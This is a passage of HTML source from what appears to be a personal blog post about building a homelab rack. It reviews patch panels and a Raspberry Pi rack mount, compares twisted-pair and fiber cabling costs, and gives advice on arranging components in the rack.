 &lt;td>&lt;a href="https://www.amazon.com/dp/B08LLDCRCV/ref=cm_sw_r_apan_glt_i_2AEKK799CAJQ591DCSWS?_encoding=UTF8&amp;amp;th=1">24-Port 1U&lt;/a>&lt;/td>
 &lt;td>$19&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Tripp Lite&lt;/td>
 &lt;td>&lt;a href="https://tripplite.eaton.com/16-port-1u-rack-mount-unshielded-blank-keystone-multimedia-patch-panel~N062016KJ">16-Port 1U&lt;/a>&lt;/td>
 &lt;td>$13&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="review-newyork-cables-24-port-1u-patch-panel">Review: NewYork Cables 24-Port 1U Patch Panel&lt;/h3>
&lt;ul>
&lt;li>Grade: B+&lt;/li>
&lt;/ul>
&lt;p>At the end of the day, a patch panel is just some metal and plastic, so there&amp;rsquo;s not much to do well or poorly. But the NewYork model feels sturdy and installs into the rack well.&lt;/p>
&lt;p>One of the reasons I chose the NewYork brand patch panel was that I saw reviews mention a rear bar that helps support Ethernet cables. In my rack, the rear bar doesn&amp;rsquo;t do anything. It&amp;rsquo;s too close to the Ethernet ports to provide support, and they don&amp;rsquo;t seem to need it anyway.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/panel-rear.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/panel-rear_hu_ac1a65c7e534cefb.webp 300w, https://mtlynch.io/building-first-homelab-rack/panel-rear_hu_3cdf9116e65d373f.webp 600w, https://mtlynch.io/building-first-homelab-rack/panel-rear_hu_c1cbd0d4df007169.webp 800w, https://mtlynch.io/building-first-homelab-rack/panel-rear_hu_5942fe6931addb5c.webp 1200w, https://mtlynch.io/building-first-homelab-rack/panel-rear.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/panel-rear.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I thought the rear bar of the patch panel would help support my Ethernet cables, but they turned out not to need it.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My one complaint is with the port labels. They&amp;rsquo;re slips of paper under plastic, like a landline phone would have for speed dial in the 90s. Other patch panels have little whiteboard strips for easy erasing, and I prefer that style to strips of paper.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/patch-panel-labels.webp">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/patch-panel-labels_hu_e11b101cad42a3e.webp 300w, https://mtlynch.io/building-first-homelab-rack/patch-panel-labels_hu_fa701329331de1e7.webp 600w, https://mtlynch.io/building-first-homelab-rack/patch-panel-labels_hu_259adc082c027ca9.webp 800w, https://mtlynch.io/building-first-homelab-rack/patch-panel-labels_hu_dacba98dd921c3fd.webp 1200w, https://mtlynch.io/building-first-homelab-rack/patch-panel-labels.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/patch-panel-labels.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The labels on the NewYork patch panel are like the little speed dial labels that landline phones had in the 90s.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="review-tripp-lite-16-port-1u-patch-panel">Review: Tripp Lite 16-port 1U Patch Panel&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel_hu_f13259f060df1217.webp 300w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel_hu_10002f6f5fb147ce.webp 600w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel_hu_d12a7401f047291c.webp 800w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel_hu_dc7dfba654e0fe37.webp 1200w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/tripp-lite-patch-panel.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: A&lt;/li>
&lt;/ul>
&lt;p>As with the NewYork cables patch panel, the Tripp Lite model is fine, but there&amp;rsquo;s not much to get excited about with patch panels.&lt;/p>
&lt;p>I like that the labels are tiny whiteboards. I had whiteboard markers on hand, but they were too big to write in such tight spaces, so I bought &lt;a href="https://www.amazon.com/gp/product/B0C9WH9LPV/">ultra fine-tip whiteboard markers&lt;/a>, and those worked well.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels_hu_2962f0d8bd3bb304.webp 300w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels_hu_f4cce0a1ed101121.webp 600w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels_hu_d2ad0b2fbf9f004.webp 800w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels_hu_c4c539e5e6521553.webp 1200w, https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/tripp-lite-labels.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Tripp Lite patch panel features tiny labels you can write on with ultra fine-tip whiteboard markers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="choosing-a-raspberry-pi-rack-mount">Choosing a Raspberry Pi rack mount&lt;/h2>
&lt;p>I do a lot of professional and hobby projects with the Raspberry Pi, a small, inexpensive single-board computer.&lt;/p>
&lt;p>I&amp;rsquo;d seen rack mounts for the Raspberry Pi, so I thought it would be fun to add one to my rack. I didn&amp;rsquo;t feel like shopping around for Pi racks, so I just bought the first one that looked decent.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>UCTRONICS&lt;/td>
 &lt;td>&lt;a href="https://www.uctronics.com/raspberry-pi/1u-rack-mount/raspberry-pi-4b-rack-mount-19-inch-1u-with-poe-and-oled-screen.html">Ultimate Rack with PoE Functionality&lt;/a>&lt;/td>
 &lt;td>$190&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="review-uctronics-ultimate-rack">Review: UCTRONICS Ultimate Rack&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount_hu_1358f3415a766bbd.webp 300w, https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount_hu_72aa21d8ea303eb8.webp 600w, https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount_hu_94dd1191db6051a2.webp 800w, https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount_hu_619fdb6980d0e234.webp 1200w, https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/uctronics-pi-mount.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: C+&lt;/li>
&lt;/ul>
&lt;p>The rack mount is okay, not great.&lt;/p>
&lt;p>It&amp;rsquo;s a decent value for the price. PoE HATs for a Raspberry Pi 4 are generally around $20, so getting four PoE HATs is already an $80 value. And then you&amp;rsquo;re also getting the rack mount itself, four microSD extenders, four HDMI extenders, four OLED screens, and four fans.&lt;/p>
&lt;p>The craftsmanship on the rack mount itself is mediocre. The pieces don&amp;rsquo;t fit together that well. There are noticeable gaps around the HDMI and microSD ports.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/uctronics-gaps.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/uctronics-gaps_hu_fd5b4681fabc6d7a.webp 300w, https://mtlynch.io/building-first-homelab-rack/uctronics-gaps_hu_2aadbb05794629e6.webp 600w, https://mtlynch.io/building-first-homelab-rack/uctronics-gaps_hu_80b9a4f8f3206c1e.webp 800w, https://mtlynch.io/building-first-homelab-rack/uctronics-gaps_hu_8e32b56cceabee3e.webp 1200w, https://mtlynch.io/building-first-homelab-rack/uctronics-gaps.webp 1466w'
 src="https://mtlynch.io/building-first-homelab-rack/uctronics-gaps.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The UCTRONICS Pi rack mount had significant gaps around the HDMI and microSD ports.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The HDMI ports are also secured poorly to the mount. When I plug in an HDMI cable, the connector bends and strains. I worry they&amp;rsquo;re going to snap off one day.&lt;/p>
&lt;p>PoE generates extra heat, so it&amp;rsquo;s good that these come with an integrated fan, but they create a constant high-pitch whirring. I keep all the fans powered off. The Pi could overheat without the fan, but it just means the CPU throttles or shuts down, which isn&amp;rsquo;t a big deal for my hobby projects.&lt;/p>
&lt;p>The instructions are terrible. Step one is to screw in the OLED. Okay, that&amp;rsquo;s fine. Step two is to screw in the power button. Sure, easy peasy. Step three is to put together the five remaining components simultaneously.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/pi-rack-instructions.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/pi-rack-instructions_hu_bcdfcc4ffe2ec421.webp 300w, https://mtlynch.io/building-first-homelab-rack/pi-rack-instructions_hu_f9e4b69b2f8f9744.webp 600w, https://mtlynch.io/building-first-homelab-rack/pi-rack-instructions_hu_9e7688c3c8bf4a35.webp 800w, https://mtlynch.io/building-first-homelab-rack/pi-rack-instructions.webp 1042w'
 src="https://mtlynch.io/building-first-homelab-rack/pi-rack-instructions.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The UCTRONICS Pi rack mount instructions rapidly increase in difficulty.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="choosing-ethernet-cables">Choosing Ethernet cables&lt;/h2>
&lt;p>If you&amp;rsquo;re converting an existing setup to a server rack, you&amp;rsquo;ll likely need new Ethernet cables. For a patch panel, remember to buy short (6-12&amp;quot;) cables (sometimes called &amp;ldquo;patch cables&amp;rdquo;) to connect the patch panel to your switch.&lt;/p>
&lt;p>You&amp;rsquo;ll likely need a mix of different patch cable lengths. For example, on my rack, port 16 on my switch is just 1.5&amp;quot; from port 16 on my patch panel, but port 1 on my switch is 6&amp;quot; from its corresponding patch panel port.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap_hu_4495c9810b1c1853.webp 300w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap_hu_26ba22e915ff22f3.webp 600w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap_hu_5d5b2626aba25916.webp 800w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap_hu_9a25a48ec125d221.webp 1200w, https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/switch-patch-panel-gap.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Consider that the distance between ports on your switch and patch panel may vary depending on the port layout of each component.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I bought 6&amp;quot;, 12&amp;quot;, and 3&amp;rsquo; Ethernet cables at a ratio of about 5:2:1.&lt;/p>
&lt;p>Some people are creative and buy different colors to represent different functionality. I&amp;rsquo;m boring and just stuck with blue and black Ethernet cables because they look standard and proper to me.&lt;/p>
&lt;h2 id="choosing-fiber-cables">Choosing fiber cables&lt;/h2>
&lt;h3 id="twisted-pair-dac-or-fiber">Twisted pair, DAC, or fiber?&lt;/h3>
&lt;p>If you&amp;rsquo;re building a 1 Gbps network, you can buy regular twisted-pair Ethernet cables with RJ45 connectors and call it a day.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/twisted-pair.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/twisted-pair_hu_2d736bcf6193a081.webp 300w, https://mtlynch.io/building-first-homelab-rack/twisted-pair_hu_4ad3c6d239aed5bc.webp 600w, https://mtlynch.io/building-first-homelab-rack/twisted-pair_hu_890d84562208420d.webp 800w, https://mtlynch.io/building-first-homelab-rack/twisted-pair_hu_fa39aa48188c5e5d.webp 1200w, https://mtlynch.io/building-first-homelab-rack/twisted-pair.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/twisted-pair.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Most networks use simple twisted-pair Ethernet cables with RJ45 connectors.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you go above 1 Gbps speeds, you have to choose between twisted pair and fiber cables.&lt;/p>
&lt;p>With twisted-pair Ethernet cables, it&amp;rsquo;s simple. If you&amp;rsquo;re building a network with twisted pair Ethernet ports, buy networking devices with RJ45 ports, and use standard twisted-pair Ethernet cables everywhere. Easy peasy!&lt;/p>
&lt;p>With fiber, cabling is more complicated.&lt;/p>
&lt;p>A fiber networking device will have an SFP or SFP+ port, but there&amp;rsquo;s no such thing as an SFP or SFP+ cable. You need to convert SFP/SFP+ to something else.&lt;/p>
&lt;p>My network switch and 10G NICs all had SFP+ ports, so I knew the connections had to start and end with SFP+. That meant my connection would look like:&lt;/p>
&lt;ol>
&lt;li>SFP+ port on my network switch&lt;/li>
&lt;li>SFP+ to &lt;em>something&lt;/em> transceiver&lt;/li>
&lt;li>&lt;em>something&lt;/em> cable&lt;/li>
&lt;li>SFP+ to &lt;em>something&lt;/em> transceiver&lt;/li>
&lt;li>SFP+ port on my 10G NIC&lt;/li>
&lt;/ol>
&lt;p>I&amp;rsquo;d need to convert SFP+ to something else to connect the two ends. The options were:&lt;/p>
&lt;ol>
&lt;li>RJ45 (Twisted pair)&lt;/li>
&lt;li>LC (Fiber)&lt;/li>
&lt;li>DAC (Copper)&lt;/li>
&lt;/ol>
&lt;p>The connection had to run through my patch panel. I found patch keys for Ethernet and fiber but nothing for DAC. I&amp;rsquo;m still unsure if DAC fiber keys don&amp;rsquo;t exist or if there&amp;rsquo;s some other way I&amp;rsquo;m missing to run them through a patch panel.&lt;/p>
&lt;p>That reduced my options to just to just RJ45 or LC.&lt;/p>
&lt;h3 id="twisted-pair-vs-fiber">Twisted pair vs. fiber&lt;/h3>
&lt;p>I couldn&amp;rsquo;t find many practical differences between RJ45 and LC. LC is thinner, so I find it a bit more visually appealing, but it means a different type of cable than all my other components, which are twisted pair.&lt;/p>
&lt;p>I was surprised at the difference in pricing between twisted pair and fiber. SFP+ to RJ45 transceivers were significantly more expensive than SFP+ to fiber, but twisted pair cables are cheaper than fiber cables.&lt;/p>
&lt;p>When I priced everything out, cost was significantly lower for fiber:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Component&lt;/th>
 &lt;th>Twisted pair price&lt;/th>
 &lt;th>Fiber price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Three transceivers (for my switch, desktop, and storage server)&lt;/td>
 &lt;td>$150&lt;/td>
 &lt;td>$60&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>One 16&amp;rsquo; cable (desktop to switch)&lt;/td>
 &lt;td>$9&lt;/td>
 &lt;td>$15&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>One 3&amp;rsquo; cable (storage server to switch)&lt;/td>
 &lt;td>$7&lt;/td>
 &lt;td>$10&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Two 7&amp;quot; patch cables&lt;/td>
 &lt;td>$0*&lt;/td>
 &lt;td>$30&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Four patch keys&lt;/td>
 &lt;td>$0*&lt;/td>
 &lt;td>$19&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$163&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$134&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* These effectively would cost no extra money because I had to buy these for the rest of the ports in my switch.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Gotcha&lt;/strong>: If you use fiber, make sure that your cables and transceivers have compatible &amp;ldquo;modes.&amp;rdquo; You &lt;a href="https://community.fs.com/article/single-mode-cabling-cost-vs-multimode-cabling-cost.html">can&amp;rsquo;t mix single mode fiber cables with multimode cables or transceivers&lt;/a>. I recommend building a multimode system, as it supports 10 Gbps speeds and is significantly less expensive than single mode.
&lt;/div>

&lt;p>I&amp;rsquo;ve included all the cables I purchased &lt;a href="#my-final-rack-setup">below&lt;/a>.&lt;/p>
&lt;h2 id="what-i-already-had">What I already had&lt;/h2>
&lt;h3 id="router-qotom-q355g4-with-opnsense">Router: Qotom Q355G4 with OPNsense&lt;/h3>
&lt;p>My home router is a cheap Qotom Q355G4 unit running OPNsense. It doesn&amp;rsquo;t have rack mounts, so now it lives on its own dedicated rack shelf.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 520px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/qotom-router.webp">
 &lt;img
 
 sizes="(min-width: 768px) 520px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/qotom-router_hu_e8c0f3115d03d574.webp 300w, https://mtlynch.io/building-first-homelab-rack/qotom-router_hu_615e5eb0fa7ba4b.webp 600w, https://mtlynch.io/building-first-homelab-rack/qotom-router_hu_fe7878b134c72e29.webp 800w, https://mtlynch.io/building-first-homelab-rack/qotom-router_hu_a6a805ad5262a7db.webp 1200w, https://mtlynch.io/building-first-homelab-rack/qotom-router.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/qotom-router.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/opnsense-dashboard.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/opnsense-dashboard_hu_531b368cd8a6fe59.webp 300w, https://mtlynch.io/building-first-homelab-rack/opnsense-dashboard_hu_184ab0a3a67ba445.webp 600w, https://mtlynch.io/building-first-homelab-rack/opnsense-dashboard_hu_5ca56250ded908fa.webp 800w, https://mtlynch.io/building-first-homelab-rack/opnsense-dashboard.webp 997w'
 src="https://mtlynch.io/building-first-homelab-rack/opnsense-dashboard.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My OPNsense firewall running on Qotom Q355G4 mini PC&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="wifi-access-point-ruckus-r310">WiFi access point: Ruckus R310&lt;/h3>
&lt;p>My access point doesn&amp;rsquo;t technically live in my rack, but it plugs in to my PoE switch. It&amp;rsquo;s a nice access point, and it allows me to create multiple WiFi networks with different VLAN tags, so my guest WiFi has Internet access but can&amp;rsquo;t reach any of my other devices.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/ruckus-r310.webp">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/ruckus-r310_hu_1a8686593dded1b7.webp 300w, https://mtlynch.io/building-first-homelab-rack/ruckus-r310_hu_cdb78b602f5b202.webp 600w, https://mtlynch.io/building-first-homelab-rack/ruckus-r310_hu_8eea51e7cecee91a.webp 800w, https://mtlynch.io/building-first-homelab-rack/ruckus-r310.webp 918w'
 src="https://mtlynch.io/building-first-homelab-rack/ruckus-r310.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 315px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/ruckus-dashboard.webp">
 &lt;img
 
 sizes="(min-width: 768px) 315px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/ruckus-dashboard_hu_f9cf1c0b00fad812.webp 300w, https://mtlynch.io/building-first-homelab-rack/ruckus-dashboard_hu_87ea6d9152717802.webp 600w, https://mtlynch.io/building-first-homelab-rack/ruckus-dashboard_hu_311dcd1db8d3fe97.webp 800w, https://mtlynch.io/building-first-homelab-rack/ruckus-dashboard.webp 1134w'
 src="https://mtlynch.io/building-first-homelab-rack/ruckus-dashboard.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My Ruckus R310 WiFi access point&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="out-of-band-management-tinypilot-voyager-2a-poe">Out-of-band management: TinyPilot Voyager 2a PoE&lt;/h3>
&lt;div class="notice notice-info">
 &lt;strong>Full disclosure&lt;/strong>: TinyPilot is a product &lt;a href="https://mtlynch.io/tinypilot/">I created&lt;/a> and now &lt;a href="https://tinypilotkvm.com">sell&lt;/a>.
&lt;/div>

&lt;p>I generally connect to components in my rack over SSH or web interfaces. When I reinstall an OS, change boot settings, or fix network settings, I need control at the physical level.&lt;/p>
&lt;p>Instead of having to drag a keyboard and monitor over to my rack, I can plug in my TinyPilot Voyager 2a when I need hardware-level access:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 364px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tinypilot-rack.webp">
 &lt;img
 
 sizes="(min-width: 768px) 364px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tinypilot-rack_hu_a7c929ef7036fddc.webp 300w, https://mtlynch.io/building-first-homelab-rack/tinypilot-rack_hu_11f056bf8d56ce78.webp 600w, https://mtlynch.io/building-first-homelab-rack/tinypilot-rack_hu_f945160632871e65.webp 800w, https://mtlynch.io/building-first-homelab-rack/tinypilot-rack_hu_40bc89a65d1f38a0.webp 1200w, https://mtlynch.io/building-first-homelab-rack/tinypilot-rack.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/tinypilot-rack.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios_hu_e3eed9f05070d2cb.webp 300w, https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios_hu_705b8cfaaf648c1d.webp 600w, https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios_hu_86e4d5646f3f595c.webp 800w, https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios_hu_83394ae6032a1b1d.webp 1200w, https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios.webp 1217w'
 src="https://mtlynch.io/building-first-homelab-rack/tinypilot-dell-bios.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>I use TinyPilot to get physical-level access to my homelab servers through the browser.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="software-testing-dell-optiplex-7040-mini-pc">Software testing: Dell Optiplex 7040 mini PC&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/dell-mini-pc.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/dell-mini-pc_hu_8a8e5f0174e286b0.webp 300w, https://mtlynch.io/building-first-homelab-rack/dell-mini-pc_hu_98bc73fb245e87f5.webp 600w, https://mtlynch.io/building-first-homelab-rack/dell-mini-pc_hu_e376f2cd245ce11.webp 800w, https://mtlynch.io/building-first-homelab-rack/dell-mini-pc_hu_38030e824f1133d0.webp 1200w, https://mtlynch.io/building-first-homelab-rack/dell-mini-pc.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/dell-mini-pc.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For development work on TinyPilot, I often test new software features by remotely controlling a real device. This Dell mini PC is a handy test device because I can frequently reboot it or blow away the OS without disrupting any other work.&lt;/p>
&lt;h2 id="how-do-i-arrange-components-in-a-rack">How do I arrange components in a rack?&lt;/h2>
&lt;p>Once I selected my rack components, the next step was figuring out how to lay everything out. I couldn&amp;rsquo;t find established best practices for arranging components, so I just reasoned out what made sense to me.&lt;/p>
&lt;p>To plan the layout, I used a spreadsheet and color-coded it. This was also helpful in thinking about what size rack to purchase.&lt;/p>













 















&lt;figure class="img" style="max-width: 200px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/rack-spreadsheet.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/rack-spreadsheet.webp 238w'
 src="https://mtlynch.io/building-first-homelab-rack/rack-spreadsheet.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I considered different rack layouts by just swapping elements in a spreadsheet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="place-heavy-components-on-the-bottom-of-your-rack">Place heavy components on the bottom of your rack&lt;/h3>
&lt;p>There was one rule everyone seemed to agree on: mount the heaviest components on the bottom.&lt;/p>
&lt;p>The rack has a lot of expensive equipment. You don&amp;rsquo;t want it to fall over and damage things or, worse, injure someone. So, you want it to have a low center of gravity to maximize stability.&lt;/p>
&lt;p>The heaviest component in my rack, by far, is the UPS, weighing in at a whopping 27 lbs.&lt;/p>
&lt;p>Patch panels weigh almost nothing, and networking switches are fairly light as well. For this reason, most server racks keep these components in the top two slots of the rack.&lt;/p>
&lt;h3 id="keep-components-with-front-facing-connections-close-together">Keep components with front-facing connections close together&lt;/h3>
&lt;p>It wasn&amp;rsquo;t obvious until I built my server, but it&amp;rsquo;s important to cluster components that connect through front-facing ports. For example, my patch panel and networking switch go in adjacent rack slots, because I&amp;rsquo;d otherwise have Ethernet cables stretched over other components in the rack.&lt;/p>
&lt;h3 id="rear-cables-dont-matter-so-much">Rear cables don&amp;rsquo;t matter so much&lt;/h3>
&lt;p>Some of the guidance I read said to arrange components so that you can minimize the length of your power cables. I didn&amp;rsquo;t see the point.&lt;/p>
&lt;p>Maybe minimizing cable length is important in a data center where you&amp;rsquo;re replicating the same setup hundreds of times. In a home environment, I don&amp;rsquo;t see the difference between connecting my server to my UPS with a 2 ft. power cable vs. a 4 ft. power cable.&lt;/p>
&lt;h2 id="my-final-rack-setup">My final rack setup&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/full-rack.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/full-rack_hu_f22ff88b92bf551c.webp 300w, https://mtlynch.io/building-first-homelab-rack/full-rack_hu_8b2c2d502d9a69c8.webp 600w, https://mtlynch.io/building-first-homelab-rack/full-rack_hu_4985a37664fa3fa0.webp 800w, https://mtlynch.io/building-first-homelab-rack/full-rack_hu_6e8fd6085ddbecc4.webp 1200w, https://mtlynch.io/building-first-homelab-rack/full-rack.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/full-rack.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/rack-side.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
